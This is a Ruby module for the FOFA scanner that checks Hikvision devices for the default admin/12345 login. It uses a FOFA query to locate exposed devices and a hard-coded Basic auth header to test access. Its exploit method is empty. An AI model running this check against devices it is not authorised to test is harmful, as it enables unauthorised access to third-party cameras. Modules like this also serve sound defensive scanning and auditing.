require 'fofa_core'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'Hikvision default admin account',
      'Description' => %q{
Default admin account of administraotr: admin/12345. Backdoor?
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'Hikvision',
      'Homepage' => 'http://www.hikvision.com/',
      'References' =>
          [
              'http://www.hikvision.com/en/us/support_more.asp?id=174',
          ],
      'DisclosureDate'=> '2014-07-01',
      'FofaQuery'=>'header="Hikvision"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/PSIA/Custom/SelfExt/userCheck',
                    data: nil,
                    header: {'Authorization'=> 'Basic YWRtaW46MTIzNDU='}
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: '<statusValue>200</statusValue>'
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
  end
end